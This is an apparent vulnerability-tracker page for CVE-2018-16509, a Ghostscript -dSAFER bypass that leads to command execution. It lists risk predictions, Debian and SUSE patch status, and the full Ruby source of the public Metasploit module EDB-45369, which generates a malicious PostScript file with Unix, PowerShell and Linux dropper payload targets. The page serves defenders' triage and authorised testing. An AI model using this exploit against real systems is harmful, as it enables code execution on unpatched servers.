CVE-2018-16509

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

An issue was discovered in Artifex Ghostscript before 9.24. Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-45369 local linux verified ruby · 4 KB
Metasploit · 2018-09-10

Ghostscript - Failed Restore Command Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  PLACEHOLDER_STRING  = 'metasploit'
  PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ghostscript Failed Restore Command Execution',
      'Description'    => %q{
        This module exploits a -dSAFER bypass in Ghostscript to execute
        arbitrary commands by handling a failed restore (grestore) in
        PostScript to disable LockSafetyParams and avoid invalidaccess.

        This vulnerability is reachable via libraries such as ImageMagick,
        and this module provides the latest vector for Ghostscript.

        For previous Ghostscript vectors, please see the following modules:
          exploit/unix/fileformat/ghostscript_type_confusion
          exploit/unix/fileformat/imagemagick_delegate
      },
      'Author'         => [
        'Tavis Ormandy', # Vuln discovery and exploit
        'wvu'            # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-16509'],
        ['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
        ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
      ],
      'DisclosureDate' => 'Aug 21 2018',
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix', 'linux', 'win'],
      'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Targets'        => [
        ['Unix (In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Type'        => :unix_memory,
         'Payload'     => {'Space' => 4089, 'DisableNops' => true} # 4096 total
        ],
        ['PowerShell (In-Memory)',
         'Platform'    => 'win',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :psh_memory
        ],
        ['Linux (Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def exploit
    sploit = template

    # Replace our placeholder string with a random one
    sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))

    # Replace our test payload with the real one
    case target['Type']
    when :unix_memory
      sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
    when :psh_memory
      psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)

      # XXX: Payload space applies to the payload, not the PSH command
      if psh.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller payload')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, psh)
    when :linux_dropper
      cmdstager = generate_cmdstager(
        linemax: targets[0].payload_space,
        temp:    datastore['WritableDir']
      ).join(';')

      # XXX: Payload space applies to the payload, not the command stager
      if cmdstager.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
    end

    file_create(sploit)
  end

  def template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
    ))
  end

end

Metasploit modules

Ghostscript Failed Restore Command Execution
Source fetch failed: fetch_error — view the original via the link above.

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 9.25~dfsg-1
sid Fixed 9.25~dfsg-1
forky Fixed 9.25~dfsg-1
bullseye Fixed 9.25~dfsg-1
bookworm Fixed 9.25~dfsg-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.